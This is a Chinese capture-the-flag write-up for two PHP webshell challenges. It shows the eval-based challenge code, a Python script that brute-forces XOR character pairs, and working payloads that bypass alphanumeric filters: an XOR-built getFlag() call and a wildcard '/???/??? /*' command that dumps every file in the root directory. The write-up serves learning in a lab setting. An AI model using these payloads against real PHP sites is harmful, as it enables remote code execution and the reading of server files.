此文档持续更新中。
yi_ge_webshell
考点:构造不含字母、数字和下划线的WebShell,字符串的异或操作
代码如下:
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
根据hint,是要让我们执行getFlag()函数,也就是自己构造出来提交上去,用@eval()
执行。
一开始以为是要绕过preg_match函数的匹配,但是试了几种常用的方法发现都没有用(构造数组发现不执行,用最大回溯爆掉又会受到strlen的长度限制而爆不掉)。
后来想了想,这个题应该是要通过构造不含字母和数字的payload来绕过preg_match的匹配,因为以前看到过类似的操作。
在bing上搜了一下发现果然有构造不含字母和数字的webshell的方法,这种方法的核心就是字符串的异或
。
参考文档:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
比如,以下这条PHP语句的执行结果为getFlag
:
echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");
也可以写成这样,执行结果相同:
echo "@@^|@@@" ^ "'%*:,!'";
写个脚本爆破掉字符的异或,一个一个试实在是太累了:
chr1 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
for i in chr1 :
for j in chr2 :
print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
根据爆破的结果拼出刚才提到的异或字符串,也就是"@@^|@@@" ^ "'%*:,!'"
。
这里有一个问题,过滤了字母、数字和下划线之后怎么起变量名?忽然想到Java可以用汉字作为变量名(因为Java采用的是Unicode字符集,所以用中文作为变量名不会出错),那PHP说不定也可以,于是在本地试了一下发现居然没报错。
构造Payload:?code=$啊="@@^|@@@"^"'%*:,!'";$啊();
成功得到flag。
另:那三篇文章的方法是构造_GET或者_POST再利用${}
和@eval()
执行之后往里传参,个人感觉没有这种直接构造字符串然后执行的方法简单。
另2:针对这道题写了篇总结,发在公众号里了:链接在这
ling_yi_ge_webshell
考察使用通配符绕过过滤
把上次那个爆破的脚本改了一下(发现上次没加“@”):
chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
for i in chr1 :
for j in chr2 :
print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
这次的代码过滤了$和_,也就是说没办法用$了,需要其他办法执行。
虽然拼出了“system('cat /flag.php')”,但是提示太长了,而且怎么执行也是个问题。
在一个大佬的帮助下找到了正确的做法:通配符。
详细可以参考这两篇文章:
https://www.anquanke.com/post/id/160582?from=singlemessage#h2-2
https://cloud.tencent.com/developer/article/1164601
根据Linux通配符规则,问号“?”匹配任意单个字符,于是/???/??? 可以匹配到 /bin/cat
既然过滤了所有字母和数字,flag又在根目录下,所以可以用/*匹配到根目录下所有文件。
于是,连起来就是/???/??? /*
而要让代码执行,必须要放进PHP标记里。结合第一篇参考文章,可以构造出以下的payload:?code=?><?=
/???/??? /*?>
执行后会得到一大堆乱七八糟的东西(因为这是把根目录下的东西全都读出来了),搜索SKCTF或者是flag就可以找到flag。